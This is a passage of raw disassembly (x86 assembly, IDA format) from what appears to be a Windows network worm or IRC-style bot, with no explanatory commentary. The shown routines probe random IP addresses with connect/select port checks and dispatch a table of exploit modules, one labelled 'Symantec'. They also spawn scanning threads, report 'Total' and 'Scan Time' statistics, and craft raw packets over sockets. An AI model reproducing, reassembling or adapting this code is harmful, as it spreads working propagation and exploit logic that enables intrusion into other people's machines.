loc_40BB5E: ; CODE XREF: sub_40BB0C+4Cj
cmp dl, bl
jnz short loc_40BB6B
cmp [eax], bl
jnz short loc_40BB6B
xor eax, eax
inc eax
jmp short loc_40BBC8
; ---------------------------------------------------------------------------
loc_40BB6B: ; CODE XREF: sub_40BB0C+48j
; sub_40BB0C+54j ...
push ecx
push eax
call sub_40B9E4
pop ecx
test eax, eax
pop ecx
jnz short loc_40BBB2
loc_40BB78: ; CODE XREF: sub_40BB0C+A4j
inc dword ptr [edi]
mov eax, [edi]
jmp short loc_40BB8A
; ---------------------------------------------------------------------------
loc_40BB7E: ; CODE XREF: sub_40BB0C+86j
cmp cl, 5Bh
jz short loc_40BB94
cmp dl, bl
jz short loc_40BB94
inc eax
mov [edi], eax
loc_40BB8A: ; CODE XREF: sub_40BB0C+70j
mov ecx, [esi]
mov dl, [eax]
mov cl, [ecx]
cmp cl, dl
jnz short loc_40BB7E
loc_40BB94: ; CODE XREF: sub_40BB0C+75j
; sub_40BB0C+79j
cmp [eax], bl
jz short loc_40BBA9
push eax
push dword ptr [esi]
call sub_40B9E4
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40BBAE
; ---------------------------------------------------------------------------
loc_40BBA9: ; CODE XREF: sub_40BB0C+8Aj
mov [ebp+var_4], ebx
xor eax, eax
loc_40BBAE: ; CODE XREF: sub_40BB0C+9Bj
cmp eax, ebx
jnz short loc_40BB78
loc_40BBB2: ; CODE XREF: sub_40BB0C+6Aj
mov eax, [edi]
cmp [eax], bl
jnz short loc_40BBC5
mov eax, [esi]
cmp [eax], bl
jnz short loc_40BBC5
mov [ebp+var_4], 1
loc_40BBC5: ; CODE XREF: sub_40BB0C+AAj
; sub_40BB0C+B0j
mov eax, [ebp+var_4]
loc_40BBC8: ; CODE XREF: sub_40BB0C+50j
; sub_40BB0C+5Dj
pop edi
pop esi
pop ebx
leave
retn
sub_40BB0C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BBCD proc near ; CODE XREF: sub_401C87+2AEEp
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 400h
push ebx
push edi
lea eax, [ebp+var_200]
push offset unk_4484F8
push eax
xor ebx, ebx
call sub_41EA60
cmp ds:dword_4481F0, ebx
pop ecx
pop ecx
mov edi, 200h
jz short loc_40BC3F
push esi
mov esi, offset dword_4481F8
loc_40BC00: ; CODE XREF: sub_40BBCD+6Fj
mov eax, [esi]
test eax, eax
jbe short loc_40BC35
add ebx, eax
push eax
lea eax, [esi-26h]
push eax
lea eax, [ebp+var_400]
push offset dword_448518
push eax
call sub_41EA60
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_41FAC0
add esp, 1Ch
loc_40BC35: ; CODE XREF: sub_40BBCD+37j
add esi, 40h
cmp dword ptr [esi-8], 0
jnz short loc_40BC00
pop esi
loc_40BC3F: ; CODE XREF: sub_40BBCD+2Bj
push ds:dword_4E2D04
call sub_41B51B
push eax
push ebx
lea eax, [ebp+var_400]
push offset aTotalDInS_ ; " Total: %d in %s."
push eax
call sub_41EA60
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_41FAC0
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409C75
lea eax, [ebp+var_200]
push eax
call sub_415A3C
add esp, 38h
pop edi
pop ebx
leave
retn
sub_40BBCD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BC9B proc near ; CODE XREF: sub_401C87+2AD8p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
mov eax, ds:dword_4E5ACC
mov ecx, ds:dword_4E5AC8
push esi
push ds:dword_4E2D04
lea esi, [ecx+eax]
call sub_41B51B
push eax
push esi
push ds:dword_4E5ACC
lea eax, [ebp+var_200]
push ds:dword_4E5AC8
push offset unk_448538
push eax
call sub_41EA60
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409C75
lea eax, [ebp+var_200]
push eax
call sub_415A3C
add esp, 34h
pop esi
leave
retn
sub_40BC9B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BD06 proc near ; CODE XREF: sub_401C87+2AC2p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push ds:dword_4E2D04
call sub_41B51B
push eax
lea eax, [ebp+var_200]
push ds:dword_4E5D08
push offset unk_448580
push eax
call sub_41EA60
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409C75
lea eax, [ebp+var_200]
push eax
call sub_415A3C
add esp, 2Ch
leave
retn
sub_40BD06 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BD5A proc near ; CODE XREF: sub_401C87+2AACp
var_1000 = byte ptr -1000h
var_800 = byte ptr -800h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 1000h
call sub_41EF80
push edi
lea eax, [ebp+var_800]
push offset dword_4485AC
push eax
call sub_41EA60
cmp ds:dword_4481F0, 0
pop ecx
pop ecx
mov edi, 800h
jz short loc_40BDC6
push esi
mov esi, offset aSymantec ; "Symantec"
loc_40BD8F: ; CODE XREF: sub_40BD5A+69j
lea eax, [esi-0Ah]
push eax
push esi
lea eax, [ebp+var_1000]
push offset dword_4485C8
push eax
call sub_41EA60
lea eax, [ebp+var_1000]
push edi
push eax
lea eax, [ebp+var_800]
push eax
call sub_41FAC0
add esi, 40h
add esp, 1Ch
cmp dword ptr [esi+1Eh], 0
jnz short loc_40BD8F
pop esi
loc_40BDC6: ; CODE XREF: sub_40BD5A+2Dj
push ds:dword_4E2D04
call sub_41B51B
push eax
lea eax, [ebp+var_1000]
push offset aScanTimeS_ ; " Scan Time: %s."
push eax
call sub_41EA60
lea eax, [ebp+var_1000]
push edi
push eax
lea eax, [ebp+var_800]
push eax
call sub_41FAC0
push 0
lea eax, [ebp+var_800]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409C75
lea eax, [ebp+var_800]
push eax
call sub_415A3C
add esp, 34h
pop edi
leave
retn
sub_40BD5A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BE20 proc near ; DATA XREF: sub_401C87+30EBo
var_3F0 = byte ptr -3F0h
var_1F0 = dword ptr -1F0h
var_1EC = byte ptr -1ECh
var_1DC = byte ptr -1DCh
var_15C = byte ptr -15Ch
var_150 = dword ptr -150h
var_14C = dword ptr -14Ch
var_148 = dword ptr -148h
var_140 = dword ptr -140h
var_13C = dword ptr -13Ch
var_134 = byte ptr -134h
var_124 = byte ptr -124h
var_A4 = byte ptr -0A4h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3F0h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Bh
mov esi, eax
pop ecx
lea edi, [ebp+var_134]
rep movsd
mov dword ptr [eax+128h], 1
lea eax, [ebp+var_134]
push eax
call ds:dword_4E3008 ; inet_addr
xor edi, edi
mov [ebp+var_8], eax
cmp ds:dword_4481F0, edi
mov [ebp+var_4], edi
mov [ebp+arg_0], edi
jz loc_40BF7F
mov esi, offset dword_4481F0
mov ebx, offset aSym ; "sym"
loc_40BE74: ; CODE XREF: sub_40BE20+159j
push [ebp+var_1C]
push dword ptr [esi]
push [ebp+var_8]
call sub_40C611
add esp, 0Ch
cmp eax, 1
jnz loc_40BF6E
push dword ptr [esi]
lea eax, [ebp+var_134]
push eax
lea eax, [ebx+0Ah]
push eax
lea eax, [ebp+var_3F0]
push offset unk_4485E8
push eax
call sub_41EA60
push edi
lea eax, [ebp+var_3F0]
push [ebp+var_14]
push eax
lea eax, [ebp+var_124]
push eax
push [ebp+var_24]
call sub_409C75
lea eax, [ebp+var_3F0]
push eax
call sub_415A3C
lea eax, [ebp+var_134]
push eax
lea eax, [ebp+var_1EC]
push eax
call sub_41EA60
lea eax, [ebp+var_15C]
push ebx
push eax
call sub_41EA60
add esp, 3Ch
cmp [ebp+var_A4], 0
lea eax, [ebp+var_A4]
jnz short loc_40BF09
lea eax, [ebp+var_124]
loc_40BF09: ; CODE XREF: sub_40BE20+E1j
push eax
lea eax, [ebp+var_1DC]
push eax
call sub_41EA60
mov eax, [ebp+var_24]
pop ecx
mov [ebp+var_1F0], eax
mov eax, [ebp+var_14]
mov [ebp+var_140], eax
mov eax, [ebp+var_10]
pop ecx
mov [ebp+var_13C], eax
mov eax, [esi]
sub esp, 0BCh
mov [ebp+var_150], eax
mov eax, [ebp+var_18]
push 2Fh
mov [ebp+var_14C], eax
mov eax, [ebp+arg_0]
pop ecx
lea esi, [ebp+var_1F0]
mov edi, esp
mov [ebp+var_148], eax
rep movsd
call dword ptr [ebx+2Ch]
add esp, 0BCh
inc [ebp+var_4]
xor edi, edi
loc_40BF6E: ; CODE XREF: sub_40BE20+67j
inc [ebp+arg_0]
add ebx, 40h
lea esi, [ebx+28h]
cmp [esi], edi
jnz loc_40BE74
loc_40BF7F: ; CODE XREF: sub_40BE20+44j
push [ebp+var_4]
lea eax, [ebp+var_134]
push eax
lea eax, [ebp+var_3F0]
push offset unk_448618
push eax
call sub_41EA60
push edi
lea eax, [ebp+var_3F0]
push [ebp+var_14]
push eax
lea eax, [ebp+var_124]
push eax
push [ebp+var_24]
call sub_409C75
lea eax, [ebp+var_3F0]
push eax
call sub_415A3C
push [ebp+var_18]
call sub_40B9A7
add esp, 2Ch
push edi
call ds:dword_4F53A0 ; ExitThread
sub_40BE20 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BFD2 proc near ; CODE XREF: sub_401C87+23FCp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push 0Bh
call sub_40B8D3
test eax, eax
pop ecx
jle short loc_40C00E
mov eax, [ebp+arg_C]
push ds:dword_4E3110[eax*8]
call ds:dword_4E3054 ; inet_ntoa
push eax
lea eax, [ebp+var_200]
push offset unk_44864C
push eax
call sub_41EA60
add esp, 0Ch
jmp short loc_40C021
; ---------------------------------------------------------------------------
loc_40C00E: ; CODE XREF: sub_40BFD2+13j
lea eax, [ebp+var_200]
push offset unk_448668
push eax
call sub_41EA60
pop ecx
pop ecx
loc_40C021: ; CODE XREF: sub_40BFD2+3Aj
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409C75
lea eax, [ebp+var_200]
push eax
call sub_415A3C
add esp, 18h
leave
retn
sub_40BFD2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C049 proc near ; CODE XREF: sub_40CA91+4Fp
var_210 = dword ptr -210h
var_204 = byte ptr -204h
var_4 = byte ptr -4
arg_10 = byte ptr 18h
arg_90 = byte ptr 98h
arg_110 = dword ptr 118h
arg_130 = dword ptr 138h
arg_138 = dword ptr 140h
arg_13C = dword ptr 144h
push ebp
mov ebp, esp
sub esp, 204h
mov eax, [ebp+arg_130]
push ebx
cmp eax, 0FFFFFFFFh
push esi
jz loc_40C529
shl eax, 6
xor ebx, ebx
cmp ds:dword_4481FC[eax], ebx
jz loc_40C529
push 5
call sub_40B8D3
test eax, eax
pop ecx
jnz loc_40C2C3
mov eax, ds:dword_43F07C
push edi
mov esi, offset dword_4E51CC
push 104h
push esi
push ebx
mov ds:dword_4E53DC, eax
mov ds:dword_4E53D8, ebx
call ds:off_4F5344
mov edi, offset byte_43F0FC
push 103h
push edi
push offset dword_4E52D0
call sub_41E510
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov ds:dword_4E51C8, eax
mov eax, [ebp+arg_138]
push 7Fh
mov ds:dword_4E5460, eax
jnz short loc_40C0F9
lea eax, [ebp+arg_10]
push eax
push offset dword_4E53E0
call sub_41E510
mov ds:dword_4E5464, 1
jmp short loc_40C110
; ---------------------------------------------------------------------------
loc_40C0F9: ; CODE XREF: sub_40C049+94j
lea eax, [ebp+arg_90]
push eax
push offset dword_4E53E0
call sub_41E510
mov ds:dword_4E5464, ebx
loc_40C110: ; CODE XREF: sub_40C049+AEj
add esp, 0Ch
lea eax, [ebp+var_204]
push esi
push ds:dword_4E53DC
push offset unk_448688
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_204]
push 5
push eax
call sub_40B691
add esp, 1Ch
mov ds:dword_4E53D4, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4E51C8
push offset sub_41206F
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, ds:dword_4E53D4
imul ecx, 234h
cmp eax, ebx
mov ds:dword_455F14[ecx], eax
jnz loc_40C214
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_204]
push offset unk_4486BC
push eax
call sub_41EA60
add esp, 0Ch
loc_40C18E: ; CODE XREF: sub_40C049+1D3j
lea eax, [ebp+var_204]
push eax
call sub_415A3C
mov eax, ds:dword_4E2D00
mov esi, offset dword_4E5474
mov [esp+210h+var_210], 104h
push esi
push ebx
mov ds:dword_4E5684, eax
mov ds:dword_4E5680, ebx
call ds:off_4F5344
push 103h
push edi
push offset dword_4E5578
call sub_41E510
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov ds:dword_4E5470, eax
mov eax, [ebp+arg_138]
pop edi
mov ds:dword_4E5708, eax
push 7Fh
jnz short loc_40C221
lea eax, [ebp+arg_10]
push eax
push offset dword_4E5688
call sub_41E510
mov ds:dword_4E570C, 1
jmp short loc_40C238
; ---------------------------------------------------------------------------
loc_40C20C: ; CODE XREF: sub_40C049+1D1j
push 32h
call ds:dword_4F534C ; Sleep
loc_40C214: ; CODE XREF: sub_40C049+124j
cmp ds:dword_4E5468, ebx
jz short loc_40C20C
jmp loc_40C18E
; ---------------------------------------------------------------------------
loc_40C221: ; CODE XREF: sub_40C049+1A7j
lea eax, [ebp+arg_90]
push eax
push offset dword_4E5688
call sub_41E510
mov ds:dword_4E570C, ebx
loc_40C238: ; CODE XREF: sub_40C049+1C1j
add esp, 0Ch
lea eax, [ebp+var_204]
push esi
push ds:dword_4E5684
push offset unk_4486F0
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_204]
push 4
push eax
call sub_40B691
add esp, 1Ch
mov ds:dword_4E567C, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4E5470
push offset sub_40F2F1
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, ds:dword_4E567C
imul ecx, 234h
cmp eax, ebx
mov ds:dword_455F14[ecx], eax
jnz loc_40C33C
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_204]
push offset unk_448724
push eax
call sub_41EA60
add esp, 0Ch
loc_40C2B6: ; CODE XREF: sub_40C049+2FBj
lea eax, [ebp+var_204]
push eax
call sub_415A3C
pop ecx
loc_40C2C3: ; CODE XREF: sub_40C049+35j
mov eax, [ebp+arg_130]
mov ecx, eax
shl ecx, 6
cmp ds:dword_448204[ecx], ebx
jz loc_40C3F0
push 7
call sub_40B8D3
test eax, eax
pop ecx
jnz loc_40C3EA
mov eax, ds:dword_4E5D04
cmp [ebp+arg_90], bl
mov ds:dword_4E5134, eax
mov eax, [ebp+arg_110]
mov ds:dword_4E5128, eax
mov eax, [ebp+arg_138]
mov ds:dword_4E5130, ebx
mov ds:dword_4E51B8, eax
push 7Fh
jnz short loc_40C349
lea eax, [ebp+arg_10]
push eax
push offset dword_4E5138
call sub_41E510
mov ds:dword_4E51BC, 1
jmp short loc_40C360
; ---------------------------------------------------------------------------
loc_40C334: ; CODE XREF: sub_40C049+2F9j
push 32h
call ds:dword_4F534C ; Sleep
loc_40C33C: ; CODE XREF: sub_40C049+24Cj
cmp ds:dword_4E5710, ebx
jz short loc_40C334
jmp loc_40C2B6
; ---------------------------------------------------------------------------
loc_40C349: ; CODE XREF: sub_40C049+2CFj
lea eax, [ebp+arg_90]
push eax
push offset dword_4E5138
call sub_41E510
mov ds:dword_4E51BC, ebx
loc_40C360: ; CODE XREF: sub_40C049+2E9j
add esp, 0Ch
lea eax, [ebp+var_204]
push ds:dword_4E5134
push offset unk_448758
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_204]
push 7
push eax
call sub_40B691
add esp, 18h
mov ds:dword_4E512C, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4E5128
push offset sub_40F04F
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, ds:dword_4E512C
imul ecx, 234h
cmp eax, ebx
mov ds:dword_455F14[ecx], eax
jnz loc_40C4E2
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_204]
push offset unk_448788
push eax
call sub_41EA60
add esp, 0Ch
loc_40C3DD: ; CODE XREF: sub_40C049+4A1j
lea eax, [ebp+var_204]
push eax
call sub_415A3C
pop ecx
loc_40C3EA: ; CODE XREF: sub_40C049+29Bj
mov eax, [ebp+arg_130]
loc_40C3F0: ; CODE XREF: sub_40C049+28Bj
shl eax, 6
cmp ds:dword_448200[eax], ebx
jz loc_40C529
push 3
call sub_40B8D3
test eax, eax
pop ecx
jnz loc_40C529
mov esi, offset dword_4E59A4
push 104h
push esi
push ebx
call ds:off_4F5344
push 5Ch
push esi
call sub_41F5B0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40C431
mov [eax], bl
loc_40C431: ; CODE XREF: sub_40C049+3E4j
mov eax, ds:dword_43F080
mov ds:dword_4E5ABC, ebx
mov ds:dword_4E5AA8, eax
lea eax, [ebp+arg_10]
push eax
push offset dword_4E571C
call sub_41EA60
mov eax, [ebp+arg_110]
pop ecx
pop ecx
mov ds:dword_4E5718, eax
mov ecx, [ebp+arg_138]
push esi
push ds:dword_4E5AA8
mov ds:dword_4E5AB4, ecx
mov ecx, [ebp+arg_13C]
push eax
mov ds:dword_4E5AB8, ecx
call sub_40AEAD
pop ecx
push eax
lea eax, [ebp+var_204]
push offset unk_4487C0
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_204]
push 3
push eax
call sub_40B691
add esp, 20h
mov ds:dword_4E5AB0, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4E5718
push offset sub_40FA20
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, ds:dword_4E5AB0
imul ecx, 234h
cmp eax, ebx
mov ds:dword_455F14[ecx], eax
jz short loc_40C501
jmp short loc_40C4F7
; ---------------------------------------------------------------------------
loc_40C4DA: ; CODE XREF: sub_40C049+49Fj
push 32h
call ds:dword_4F534C ; Sleep
loc_40C4E2: ; CODE XREF: sub_40C049+373j
cmp ds:dword_4E51C0, ebx
jz short loc_40C4DA
jmp loc_40C3DD
; ---------------------------------------------------------------------------
loc_40C4EF: ; CODE XREF: sub_40C049+4B4j
push 32h
call ds:dword_4F534C ; Sleep
loc_40C4F7: ; CODE XREF: sub_40C049+48Fj
cmp ds:dword_4E5AC4, ebx
jz short loc_40C4EF
jmp short loc_40C51C
; ---------------------------------------------------------------------------
loc_40C501: ; CODE XREF: sub_40C049+48Dj
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_204]
push offset unk_4487FC
push eax
call sub_41EA60
add esp, 0Ch
loc_40C51C: ; CODE XREF: sub_40C049+4B6j
lea eax, [ebp+var_204]
push eax
call sub_415A3C
pop ecx
loc_40C529: ; CODE XREF: sub_40C049+14j
; sub_40C049+25j ...
pop esi
pop ebx
leave
retn
sub_40C049 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C52D proc near ; CODE XREF: sub_40C87D:loc_40C8DFp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
push 4
lea esi, ds:4E3110h[eax*8]
lea eax, [ebp+arg_0]
push esi
push eax
call sub_41FBF0
add esp, 0Ch
push [ebp+arg_0]
call ds:dword_4E2EF0 ; htonl
inc eax
push eax
mov [ebp+arg_0], eax
call ds:dword_4E2FC4 ; htonl
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
push esi
call sub_41FBF0
mov eax, [esi]
add esp, 0Ch
pop esi
pop ebp
retn
sub_40C52D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C575 proc near ; CODE XREF: sub_40C87D+5Ap
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
or esi, 0FFFFFFFFh
push [ebp+arg_0]
mov [ebp+var_C], esi
mov [ebp+var_8], esi
mov [ebp+var_4], esi
mov [ebp+var_10], esi
call sub_41BC70
cmp eax, 0Fh
pop ecx
jbe short loc_40C59D
xor eax, eax
jmp short loc_40C60E
; ---------------------------------------------------------------------------
loc_40C59D: ; CODE XREF: sub_40C575+22j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
push offset aD_D_D_D_0 ; "%d.%d.%d.%d"
push [ebp+arg_0]
call sub_41FF30
add esp, 18h
cmp [ebp+var_C], esi
jnz short loc_40C5CA
call sub_41EB70
mov [ebp+var_C], eax
loc_40C5CA: ; CODE XREF: sub_40C575+4Bj
cmp [ebp+var_8], esi
jnz short loc_40C5D7
call sub_41EB70
mov [ebp+var_8], eax
loc_40C5D7: ; CODE XREF: sub_40C575+58j
cmp [ebp+var_4], esi
jnz short loc_40C5E4
call sub_41EB70
mov [ebp+var_4], eax
loc_40C5E4: ; CODE XREF: sub_40C575+65j
mov eax, [ebp+var_10]
cmp eax, esi
jnz short loc_40C5F0
call sub_41EB70
loc_40C5F0: ; CODE XREF: sub_40C575+74j
shl eax, 8
add eax, [ebp+var_4]
mov ecx, [ebp+var_C]
shl eax, 8
add eax, [ebp+var_8]
shl eax, 8
add eax, ecx
mov ecx, [ebp+arg_4]
mov ds:dword_4E3110[ecx*8], eax
loc_40C60E: ; CODE XREF: sub_40C575+26j
pop esi
leave
retn
sub_40C575 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C611 proc near ; CODE XREF: sub_40BE20+5Cp
; sub_40C87D+A9p ...
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
xor edi, edi
xor ebx, ebx
inc edi
push ebx
push edi
push 2
mov [ebp+var_4], edi
call ds:dword_4E3048 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40C63A
xor eax, eax
jmp short loc_40C6A9
; ---------------------------------------------------------------------------
loc_40C63A: ; CODE XREF: sub_40C611+23j
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call ds:dword_4E2FC8 ; htons
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call ds:dword_4E3064 ; ioctlsocket
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call ds:dword_4E2F70 ; connect
mov eax, [ebp+arg_8]
mov [ebp+var_8], ebx
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_120]
push ebx
push eax
push ebx
push ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
call ds:dword_4E2FB0 ; select
push esi
mov edi, eax
call ds:dword_4E3060 ; closesocket
xor eax, eax
cmp edi, ebx
setnle al
loc_40C6A9: ; CODE XREF: sub_40C611+27j
pop edi
pop esi
pop ebx
leave
retn
sub_40C611 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 10110h
call sub_41EF80
push ebx
push esi
push edi
mov edi, 2649h
push edi
call ds:dword_4E2FC8 ; htons
push dword ptr [ebp+10h]
mov [ebp-28h], ax
call ds:dword_4E2FC8 ; htons
mov [ebp-26h], ax
call sub_41EB70
xor ebx, ebx
push 200h
mov [ebp-24h], eax
mov [ebp-20h], ebx
mov [ebp-1Ch], bx
mov [ebp-0Ch], bx
mov word ptr [ebp-1Ah], 5
mov [ebp-18h], bx
mov word ptr [ebp-16h], 1
mov [ebp-14h], bx
mov [ebp-12h], bx
mov [ebp-10h], bx
mov [ebp-0Eh], bx
call ds:dword_4E2FC8 ; htons
mov esi, [ebp+0Ch]
mov [ebp-0Ah], ax
mov eax, [ebp+8]
push 24h
mov [ebp-8], bx
mov [ebp-6], bx
mov [ebp-58h], eax
mov [ebp-54h], esi
mov [ebp-50h], bl
mov byte ptr [ebp-4Fh], 6
call ds:dword_4E2FC8 ; htons
mov [ebp-4Eh], ax
lea eax, [ebp-28h]
push 24h
push eax
lea eax, [ebp-4Ch]
push eax
call sub_41FBF0
lea eax, [ebp-58h]
push 20h
push eax
call sub_40AF06
mov [ebp-8], ax
push 10h
lea eax, [ebp-38h]
push ebx
push eax
call sub_41E4B0
add esp, 20h
mov word ptr [ebp-38h], 2
push dword ptr [ebp+10h]
call ds:dword_4E2FC8 ; htons
push 6
push 3
push 2
mov [ebp-36h], ax
mov [ebp-34h], esi
mov dword ptr [ebp-4], 10h
call ds:dword_4E3048 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40C7AD
push offset aSocketOpenFail ; "socket open failed"
jmp loc_40C870
; ---------------------------------------------------------------------------
loc_40C7AD: ; CODE XREF: _0:0040C7A1j
push dword ptr [ebp-4]
lea eax, [ebp-38h]
push eax
push ebx
lea eax, [ebp-28h]
push 24h
push eax
push esi
call ds:dword_4E302C ; sendto
cmp eax, 14h
mov [ebp+10h], eax
jz short loc_40C7F6
call ds:dword_4E2F5C ; WSAGetLastError
push eax
lea eax, [ebp-0D8h]
push dword ptr [ebp+10h]
push offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
push eax
call sub_41EA60
lea eax, [ebp-0D8h]
push eax
call sub_415A3C
add esp, 14h
jmp short loc_40C862
; ---------------------------------------------------------------------------
loc_40C7F6: ; CODE XREF: _0:0040C7C8j
push 10038h
lea eax, [ebp-10110h]
push ebx
push eax
call sub_41E4B0
add esp, 0Ch
jmp short loc_40C82D
; ---------------------------------------------------------------------------
loc_40C80D: ; CODE XREF: _0:0040C834j
lea eax, [ebp-4]
push eax
lea eax, [ebp-38h]
push eax
push ebx
lea eax, [ebp-10110h]
push 10038h
push eax
push esi
call ds:dword_4E2FA0 ; recvfrom
test eax, eax
jl short loc_40C857
loc_40C82D: ; CODE XREF: _0:0040C80Bj
cmp [ebp-100FAh], di
jnz short loc_40C80D
push esi
call ds:dword_4E3060 ; closesocket
cmp word ptr [ebp-100EAh], 1
jnz short loc_40C86B
push offset aSocketOpen_ ; "Socket open."
call sub_415A3C
xor eax, eax
pop ecx
inc eax
jmp short loc_40C878
; ---------------------------------------------------------------------------
loc_40C857: ; CODE XREF: _0:0040C82Bj
push offset aRecvfromSocket ; "recvfrom() socket failed"
call sub_415A3C
pop ecx
loc_40C862: ; CODE XREF: _0:0040C7F4j
push esi
call ds:dword_4E3060 ; closesocket
jmp short loc_40C876
; ---------------------------------------------------------------------------
loc_40C86B: ; CODE XREF: _0:0040C845j
push offset aSocketClosed_ ; "Socket closed."
loc_40C870: ; CODE XREF: _0:0040C7A8j
call sub_415A3C
pop ecx
loc_40C876: ; CODE XREF: _0:0040C869j
xor eax, eax
loc_40C878: ; CODE XREF: _0:0040C855j
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C87D proc near ; DATA XREF: sub_40CA91+13Bo
var_2A8 = dword ptr -2A8h
var_28C = byte ptr -28Ch
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_1F8 = byte ptr -1F8h
var_178 = byte ptr -178h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_150 = byte ptr -150h
var_140 = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_150]
rep movsd
